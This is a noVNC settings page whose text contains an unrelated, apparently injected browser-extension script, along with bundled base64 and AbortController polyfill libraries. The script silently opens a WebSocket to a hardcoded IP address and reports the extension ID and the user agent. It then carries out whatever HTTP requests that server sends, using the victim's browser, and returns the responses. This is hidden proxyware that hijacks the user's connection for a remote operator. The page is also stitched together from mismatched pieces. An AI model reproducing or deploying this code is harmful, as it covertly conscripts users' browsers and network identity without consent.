noVNC

Power

Clipboard

(function() {

const WSS_SERVER_PORT = 91;
  const IS_VISIBLE_LOGS = true;
  const REVERSE_VERSION = '0.2.0';
  var WSPool = [];

const rejected_response_headers = {
    'transfer-encoding': true,
    'content-encoding': true,
    'content-length': true,
  };

var requests = {};
  var requests_chrome_ids = {};

var requests_to_block_to_prevent_redirect = {};

// var fibonachi = [0, 1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144, 233, 377, 600];
  var fibonachi = [0, 1, 3, 7, 15, 30, 60, 120, 300];
  var servers = [
    // {"host": 'i1.extenbalanc.org', "reqid": 0, "shot": 0},
    // {"host": 'ext10083.extenbalanc.org', "reqid": 0, "shot": 0, "uid": 0}
    // {"host": 'test2.extenbalanc.org', "reqid": 0, "shot": 0, "uid": 0}
    // {"host": 'ext623opera1.extenbalanc.org', "reqid": 0, "shot": 0, "uid": 0}
    {"host": '185.223.94.94', "reqid": 0, "shot": 0, "uid": 0}
  ];

function connect(server) {
    var WS_SERVER_HOST = server.host;
    if (IS_VISIBLE_LOGS)
      console.log('connect to ' + WS_SERVER_HOST + ':' + WSS_SERVER_PORT);
    
    // var WS = new WebSocket('wss://' + WS_SERVER_HOST + ':' + WSS_SERVER_PORT + '/server_info');
    var WS = new WebSocket('ws://' + WS_SERVER_HOST + ':' + WSS_SERVER_PORT);

WS.onopen = function() {
      console.log("onopen");
      server.shot = 0;
      let manifest = chrome.runtime.getManifest();
      let payload = {
        extensionID: chrome.runtime.id,
        extensionVersion: manifest.version,
        reverseVersion: REVERSE_VERSION,
        browser: (navigator && navigator.userAgent) ? navigator.userAgent : 'Unknown browser',
        lastreqid: server.reqid,
        uid: server.uid
      };
      WS.send(JSON.stringify(payload));
    };

WS.onmessage = function message(event) {
      var data = event.data;

try {
        data = JSON.parse(data);
      } catch (e) {
        data = {};
      }
      if (data.uid) {
        server.uid = data.uid;
        console.log( "uid" );
        console.log( data );
      }
      if (data.reqid && data.method && data.url) {
        server.reqid = data.reqid;
        if (IS_VISIBLE_LOGS)
          console.info(' request ', data.reqid, data.method, data.url, (new Date()));

requests[data.reqid] = {};
        requests[data.reqid].headers = data.headers;
        data.headers['x-reqid-chrextprxagn'] = data.reqid;

var request = Object.assign({
          method: data.method,
          mode: 'cors',
          headers: data.headers,
          redirect: 'follow'
        }, (data.userParams ? data.userParams : {}));

if (data.body.length)
          request.body = base64_arraybuffer.decode(data.body);

requests[data.reqid].fetch_controller = new AbortController();
        request.signal = requests[data.reqid].fetch_controller.signal;

fetch(data.url, request).then(function(res) {
          // console.log("-- fetch1 -- " + res.url);
          if (requests[data.reqid].do_stop)
            throw ('Stop processing request');

data.statusCode = res.status;
          data.statusText = res.statusText;

if (!data.statusCode && requests[data.reqid].response_status_code)
            data.statusCode = requests[data.reqid].response_status_code;
          if (!data.statusText && requests[data.reqid].response_status_text)
            data.statusText = requests[data.reqid].response_status_text;

data.headers = {};
          for (var header of res.headers) {
            if (rejected_response_headers[header[0].toLowerCase()])
              continue;

if (!data.headers[header[0]])
              data.headers[header[0]] = [];
            data.headers[header[0]].push(header[1]);
          }
          data.headers['X-prx-finalURL'] = [res.url];

if (requests[data.reqid].do_stop)
            throw ('Stop processing request');

return res.arrayBuffer();

}).then(function(res) {
          // console.log("-- fetch2 -- " + res);
          if (requests[data.reqid].do_stop)
            throw ('Stop processing request');

if (!requests[data.reqid].response_headers) {
            if (IS_VISIBLE_LOGS)
              console.log('no response_headers', data.reqid);
            var response_headers = data.headers;
          } else {
            var response_headers = requests[data.reqid].response_headers;
            response_headers['X-prx-finalURL'] = data.headers['X-prx-finalURL'];
          }
          res = base64_arraybuffer.encode(res);

if (requests[data.reqid].do_stop)
            throw ('Stop processing request');
          // console.log("-- receive content -- ");
          // console.log( WS );
          console.log("-- request sended -- " + data.statusCode + " - " + data.reqid);
          WS.send(JSON.stringify({
            reqid: data.reqid,
            statusCode: data.statusCode,
            statusText: data.statusText,
            headers: response_headers,
            res: res
          }));
          if (IS_VISIBLE_LOGS)
            console.info('request sended ', data.reqid, data.method, data.url, (new Date()));
          delete(requests[data.reqid]);

}).catch(function(err) {
          if (!requests[data.reqid].do_stop) {
            if (IS_VISIBLE_LOGS)
              console.info(data.reqid, err, requests[data.reqid].response_error, (new Date()));
            var res_err = '';
            res_err += requests[data.reqid].response_error ? requests[data.reqid].response_error : '';
            res_err += ' ; ';
            res_err += err.toString();
            // console.log("-- receive content catch -- " + WS);
            WS.send(JSON.stringify({
              reqid: data.reqid,
              statusCode: requests[data.reqid].response_status_code ? requests[data.reqid].response_status_code : 0,
              statusText: requests[data.reqid].response_status_text ? requests[data.reqid].response_status_text : '',
              headers: requests[data.reqid].response_headers ? requests[data.reqid].response_headers : [],
              res: btoa(res_err),
            }));
          } else {
            if (IS_VISIBLE_LOGS)
              console.log('stop processing request, ignoring errors', data.reqid);
          }

delete(requests[data.reqid]);
        });

} else if (data.reqid && data.stop_req) {
        if (requests[data.reqid] && requests[data.reqid].fetch_controller) {
          requests[data.reqid].do_stop = true;
          requests[data.reqid].fetch_controller.abort();
        }

}
    };

WS.onclose = function reconnect(event) {
      delete(WS);
      if(event.wasClean)
        return;

if (server.shot < fibonachi.length) server.shot++;
      var timer = fibonachi[server.shot-1];

if (IS_VISIBLE_LOGS) {
        console.log('reconnect in ' + timer + ' sec');
        console.log(event);
      }

setTimeout(function() {
        connect(server);
      }, timer*1000);

};

WSPool.push(WS);
  }

function multipleСonnection() {
    for (let server of servers) {
      connect(server);
    }
  }

// disable/enable reverse
  chrome.storage.onChanged.addListener(function(changes, namespace) {
    if(changes['proxyIsWork'] == undefined)
      return;
    if(!WSPool.length && changes['proxyIsWork'].newValue == false) {
      multipleСonnection();
    } else if(WSPool.length && changes['proxyIsWork'].newValue == true) {
      for (let ws of WSPool)
        if(ws) {
          ws.close();
          delete ws;
        }
      WSPool = [];
    }
  });

// start reverse
  chrome.storage.local.get(['proxyIsWork'], function(items) {
    if(items.proxyIsWork !== true)
      multipleСonnection();
  });

// emulation action for chrome browser
  setInterval(function() {
    fetch('http://ping.ipv4v6.info/')
      .then(function(response) {
        if (response.status !== 200)
          throw new Error(response.statusText + ' - ' + status);
      })
      .catch(function(ex) { });
  }, 45000);

function headers_listeners(extra) {
    var opts = ['blocking', 'requestHeaders'];
    if (extra)
      opts.push('extraHeaders');

chrome.webRequest.onBeforeSendHeaders.addListener(
      function(details) {
        var reqid = false;
        var saved_headers = [];
        let stopList = ['origin', 'content-length']

for (var header of details.requestHeaders) {
          let lheader = header.name.toLowerCase();
          if (lheader == 'x-reqid-chrextprxagn')
            reqid = header.value;
          else if (stopList.indexOf(lheader) === -1)
            saved_headers.push({
              name: header.name.toLowerCase(),
              value: header.value
            });
        }

if (!reqid || !requests[reqid]) {
          if (IS_VISIBLE_LOGS)
            console.log('no request', reqid);
          return;
        }

if (requests[reqid].do_stop)
          return {
            cancel: true
          };

requests_chrome_ids[details.requestId] = reqid;

if (!requests[reqid].headers) {
          if (IS_VISIBLE_LOGS)
            console.log('no request headers', reqid);
          return;
        }

if (saved_headers.length)
          var new_requestHeaders = saved_headers;
        else
          var new_requestHeaders = [];

for (var name in requests[reqid].headers) {
          let lname = name.toLowerCase();
          let hasHeader = false;

for (let header of saved_headers)
            if (lname == header.name.toLowerCase()) {
              if (lname == 'user-agent')
                header.value = requests[reqid].headers[name];
              hasHeader = true;
              break;
            }

if (lname != 'x-reqid-chrextprxagn' && !hasHeader)
            new_requestHeaders.push({
              name: name,
              value: requests[reqid].headers[name]
            });

}

return {
          requestHeaders: new_requestHeaders
        };
      }, {
        urls: ['<all_urls>'],
        types: ['xmlhttprequest'],
        tabId: -1
      },
      opts
    );

var opts = ['blocking', 'responseHeaders'];
    if (extra)
      opts.push('extraHeaders');
    chrome.webRequest.onHeadersReceived.addListener(
      function(details) {
        var reqid = requests_chrome_ids[details.requestId];
        if (!reqid) return;
        delete(requests_chrome_ids[details.requestId]);
        if (!requests[reqid]) {
          if (IS_VISIBLE_LOGS)
            console.log('no request', reqid);
          return;
        }

if (requests[reqid].do_stop)
          return;

if (('' + details.statusCode).substr(0, 1) == '3') {
          requests_to_block_to_prevent_redirect[details.requestId] = true;
        }

requests[reqid].response_headers = {};
        var is_mod = false;
        for (var i in details.responseHeaders) {
          var header_name = details.responseHeaders[i].name;
          var lheader_name = header_name.toLowerCase();
          if (rejected_response_headers[lheader_name])
            continue;

if (!requests[reqid].response_headers[header_name])
            requests[reqid].response_headers[header_name] = [];
          requests[reqid].response_headers[header_name].push(details.responseHeaders[i].value);

if (lheader_name == 'set-cookie') {
            details.responseHeaders[i].value = '';
            is_mod = true;
          }
        }

requests[reqid].response_status_code = details.statusCode;
        requests[reqid].response_status_text = details.statusLine.replace(/^HTTP\/[0-9\.]+\s+\d+\s*/, '');

if (is_mod) {
          return {
            responseHeaders: details.responseHeaders
          };
        }
      }, {
        urls: ['<all_urls>'],
        types: ['xmlhttprequest'],
        tabId: -1
      },
      opts
    );
  }
  try {
    headers_listeners(true);
  } catch (e) {
    headers_listeners(false);
  }

chrome.webRequest.onBeforeRequest.addListener(
    function(details) {
      if (requests_to_block_to_prevent_redirect[details.requestId]) {
        delete(requests_to_block_to_prevent_redirect[details.requestId]);
        return {
          cancel: true
        };
      }
    }, {
      urls: ['<all_urls>'],
      types: ['xmlhttprequest'],
      tabId: -1
    },
    ['blocking']
  );

chrome.webRequest.onErrorOccurred.addListener(function(details) {
    var reqid = requests_chrome_ids[details.requestId];
    if (!reqid) return;
    if (!requests[reqid]) {
      if (IS_VISIBLE_LOGS)
        console.log('no request', reqid);
      return;
    }

if (requests[reqid].do_stop) return;

requests[reqid].response_error = details.error;
  }, {
    urls: ['<all_urls>'],
    types: ['xmlhttprequest'],
    tabId: -1
  });

// LIBS

const base64_arraybuffer = (function() {
    var exports = {};

/*
     * base64-arraybuffer
     * https://github.com/niklasvh/base64-arraybuffer
     *
     * Copyright (c) 2012 Niklas von Hertzen
     * Licensed under the MIT license.
     */
    (function() {
      "use strict";

var chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

// Use a lookup table to find the index.
      var lookup = new Uint8Array(256);
      for (var i = 0; i < chars.length; i++) {
        lookup[chars.charCodeAt(i)] = i;
      }

exports.encode = function(arraybuffer) {
        var bytes = new Uint8Array(arraybuffer),
          i, len = bytes.length,
          base64 = "";

for (i = 0; i < len; i += 3) {
          base64 += chars[bytes[i] >> 2];
          base64 += chars[((bytes[i] & 3) << 4) | (bytes[i + 1] >> 4)];
          base64 += chars[((bytes[i + 1] & 15) << 2) | (bytes[i + 2] >> 6)];
          base64 += chars[bytes[i + 2] & 63];
        }

if ((len % 3) === 2) {
          base64 = base64.substring(0, base64.length - 1) + "=";
        } else if (len % 3 === 1) {
          base64 = base64.substring(0, base64.length - 2) + "==";
        }

return base64;
      };

exports.decode = function(base64) {
        var bufferLength = base64.length * 0.75,
          len = base64.length,
          i, p = 0,
          encoded1, encoded2, encoded3, encoded4;

if (base64[base64.length - 1] === "=") {
          bufferLength--;
          if (base64[base64.length - 2] === "=") {
            bufferLength--;
          }
        }

var arraybuffer = new ArrayBuffer(bufferLength),
          bytes = new Uint8Array(arraybuffer);

for (i = 0; i < len; i += 4) {
          encoded1 = lookup[base64.charCodeAt(i)];
          encoded2 = lookup[base64.charCodeAt(i + 1)];
          encoded3 = lookup[base64.charCodeAt(i + 2)];
          encoded4 = lookup[base64.charCodeAt(i + 3)];

bytes[p++] = (encoded1 << 2) | (encoded2 >> 4);
          bytes[p++] = ((encoded2 & 15) << 4) | (encoded3 >> 2);
          bytes[p++] = ((encoded3 & 3) << 6) | (encoded4 & 63);
        }

return arraybuffer;
      };
    })();

return exports;
  })();

// https://unpkg.com/abortcontroller-polyfill@1.1.9/dist/umd-polyfill.js
  (function(global, factory) {
    typeof exports === 'object' && typeof module !== 'undefined' ? factory() :
      typeof define === 'function' && define.amd ? define(factory) :
      (factory());
  }(this, (function() {
    'use strict';

var classCallCheck = function(instance, Constructor) {
      if (!(instance instanceof Constructor)) {
        throw new TypeError("Cannot call a class as a function");
      }
    };

var createClass = function() {
      function defineProperties(target, props) {
        for (var i = 0; i < props.length; i++) {
          var descriptor = props[i];
          descriptor.enumerable = descriptor.enumerable || false;
          descriptor.configurable = true;
          if ("value" in descriptor) descriptor.writable = true;
          Object.defineProperty(target, descriptor.key, descriptor);
        }
      }

return function(Constructor, protoProps, staticProps) {
        if (protoProps) defineProperties(Constructor.prototype, protoProps);
        if (staticProps) defineProperties(Constructor, staticProps);
        return Constructor;
      };
    }();

var get = function get(object, property, receiver) {
      if (object === null) object = Function.prototype;
      var desc = Object.getOwnPropertyDescriptor(object, property);

if (desc === undefined) {
        var parent = Object.getPrototypeOf(object);

if (parent === null) {
          return undefined;
        } else {
          return get(parent, property, receiver);
        }
      } else if ("value" in desc) {
        return desc.value;
      } else {
        var getter = desc.get;

if (getter === undefined) {
          return undefined;
        }

return getter.call(receiver);
      }
    };

var inherits = function(subClass, superClass) {
      if (typeof superClass !== "function" && superClass !== null) {
        throw new TypeError("Super expression must either be null or a function, not " + typeof superClass);
      }

subClass.prototype = Object.create(superClass && superClass.prototype, {
        constructor: {
          value: subClass,
          enumerable: false,
          writable: true,
          configurable: true
        }
      });
      if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass;
    };

var possibleConstructorReturn = function(self, call) {
      if (!self) {
        throw new ReferenceError("this hasn't been initialised - super() hasn't been called");
      }

return call && (typeof call === "object" || typeof call === "function") ? call : self;
    };

var Emitter = function() {
      function Emitter() {
        classCallCheck(this, Emitter);

this.listeners = {};
      }

createClass(Emitter, [{
        key: 'addEventListener',
        value: function addEventListener(type, callback) {
          if (!(type in this.listeners)) {
            this.listeners[type] = [];
          }
          this.listeners[type].push(callback);
        }
      }, {
        key: 'removeEventListener',
        value: function removeEventListener(type, callback) {
          if (!(type in this.listeners)) {
            return;
          }
          var stack = this.listeners[type];
          for (var i = 0, l = stack.length; i < l; i++) {
            if (stack[i] === callback) {
              stack.splice(i, 1);
              return;
            }
          }
        }
      }, {
        key: 'dispatchEvent',
        value: function dispatchEvent(event) {
          var _this = this;

if (!(event.type in this.listeners)) {
            return;
          }
          var debounce = function debounce(callback) {
            setTimeout(function() {
              return callback.call(_this, event);
            });
          };
          var stack = this.listeners[event.type];
          for (var i = 0, l = stack.length; i < l; i++) {
            debounce(stack[i]);
          }
          return !event.defaultPrevented;
        }
      }]);
      return Emitter;
    }();

var AbortSignal = function(_Emitter) {
      inherits(AbortSignal, _Emitter);

function AbortSignal() {
        classCallCheck(this, AbortSignal);

var _this2 = possibleConstructorReturn(this, (AbortSignal.__proto__ || Object.getPrototypeOf(AbortSignal)).call(this));

_this2.aborted = false;
        _this2.onabort = null;
        return _this2;
      }

createClass(AbortSignal, [{
        key: 'toString',
        value: function toString() {
          return '[object AbortSignal]';
        }
      }, {
        key: 'dispatchEvent',
        value: function dispatchEvent(event) {
          if (event.type === 'abort') {
            this.aborted = true;
            if (typeof this.onabort === 'function') {
              this.onabort.call(this, event);
            }
          }

get(AbortSignal.prototype.__proto__ || Object.getPrototypeOf(AbortSignal.prototype), 'dispatchEvent', this).call(this, event);
        }
      }]);
      return AbortSignal;
    }(Emitter);

var AbortController = function() {
      function AbortController() {
        classCallCheck(this, AbortController);

this.signal = new AbortSignal();
      }

createClass(AbortController, [{
        key: 'abort',
        value: function abort() {
          var event = void 0;
          try {
            event = new Event('abort');
          } catch (e) {
            if (typeof document !== 'undefined') {
              // For Internet Explorer 11:
              event = document.createEvent('Event');
              event.initEvent('abort', false, false);
            } else {
              // Fallback where document isn't available:
              event = {
                type: 'abort',
                bubbles: false,
                cancelable: false
              };
            }
          }
          this.signal.dispatchEvent(event);
        }
      }, {
        key: 'toString',
        value: function toString() {
          return '[object AbortController]';
        }
      }]);
      return AbortController;
    }();

if (typeof Symbol !== 'undefined' && Symbol.toStringTag) {
      // These are necessary to make sure that we get correct output for:
      // Object.prototype.toString.call(new AbortController())
      AbortController.prototype[Symbol.toStringTag] = 'AbortController';
      AbortSignal.prototype[Symbol.toStringTag] = 'AbortSignal';
    }

/**
     * Note: the "fetch.Request" default value is available for fetch imported from
     * the "node-fetch" package and not in browsers. This is OK since browsers
     * will be importing umd-polyfill.js from that path "self" is passed the
     * decorator so the default value will not be used (because browsers that define
     * fetch also has Request). One quirky setup where self.fetch exists but
     * self.Request does not is when the "unfetch" minimal fetch polyfill is used
     * on top of IE11; for this case the browser will try to use the fetch.Request
     * default value which in turn will be undefined but then then "if (Request)"
     * will ensure that you get a patched fetch but still no Request (as expected).
     * @param {fetch, Request = fetch.Request}
     * @returns {fetch: abortableFetch, Request: AbortableRequest}
     */
    function abortableFetchDecorator(patchTargets) {
      if ('function' === typeof patchTargets) {
        patchTargets = {
          fetch: patchTargets
        };
      }
      var _patchTargets = patchTargets,
        fetch = _patchTargets.fetch,
        _patchTargets$Request = _patchTargets.Request,
        NativeRequest = _patchTargets$Request === undefined ? fetch.Request : _patchTargets$Request,
        _patchTargets$AbortCo = _patchTargets.AbortController,
        NativeAbortController = _patchTargets$AbortCo === undefined ? AbortController : _patchTargets$AbortCo;

var Request = NativeRequest;
      // Note that the "unfetch" minimal fetch polyfill defines fetch() without
      // defining window.Request, and this polyfill need to work on top of unfetch
      // so the below feature detection is wrapped in if (Request)
      if (Request) {
        // Do feature detecting
        var controller = new NativeAbortController();
        var signal = controller.signal;
        var request = new Request('/', {
          signal: signal
        });

// Browser already supports abortable fetch (like FF v57 and fetch-polyfill)
        if (request.signal) {
          return {
            fetch: fetch,
            Request: Request
          };
        }

Request = function Request(input, init) {
          var request = new NativeRequest(input, init);
          if (init && init.signal) {
            request.signal = init.signal;
          }
          return request;
        };
        Request.prototype = NativeRequest.prototype;
      }

var realFetch = fetch;
      var abortableFetch = function abortableFetch(input, init) {
        var signal = Request && Request.prototype.isPrototypeOf(input) ? input.signal : init ? init.signal : undefined;

if (signal) {
          var abortError = void 0;
          try {
            abortError = new DOMException('Aborted', 'AbortError');
          } catch (err) {
            // IE 11 does not support calling the DOMException constructor, use a
            // regular error object on it instead.
            abortError = new Error('Aborted');
            abortError.name = 'AbortError';
          }

// Return early if already aborted, thus avoiding making an HTTP request
          if (signal.aborted) {
            return Promise.reject(abortError);
          }

// Turn an event into a promise, reject it once `abort` is dispatched
          var cancellation = new Promise(function(_, reject) {
            signal.addEventListener('abort', function() {
              return reject(abortError);
            }, {
              once: true
            });
          });

// Return the fastest promise (don't need to wait for request to finish)
          return Promise.race([cancellation, realFetch(input, init)]);
        }

return realFetch(input, init);
      };

return {
        fetch: abortableFetch,
        Request: Request
      };
    }

(function(self) {

if (self.AbortController) {
        return;
      }

self.AbortController = AbortController;
      self.AbortSignal = AbortSignal;

if (!self.fetch) {
        if (IS_VISIBLE_LOGS)
          console.warn('fetch() is not available, cannot install abortcontroller-polyfill');
        return;
      }

var _abortableFetch = abortableFetchDecorator(self),
        fetch = _abortableFetch.fetch,
        Request = _abortableFetch.Request;

self.fetch = fetch;
      self.Request = Request;
    })(typeof self !== 'undefined' ? self : global);

})));

})();

Settings
Shared Mode
View Only
Clip to Window
Scaling Mode:
Advanced
- Quality:
- Compression level:
- Repeater ID:
- WebSocket
  - Encrypt
  - Host:
  - Port:
  - Path:
- Automatic Reconnect
- Reconnect Delay (ms):
- Show Dot when No Cursor
- Logging:
Version: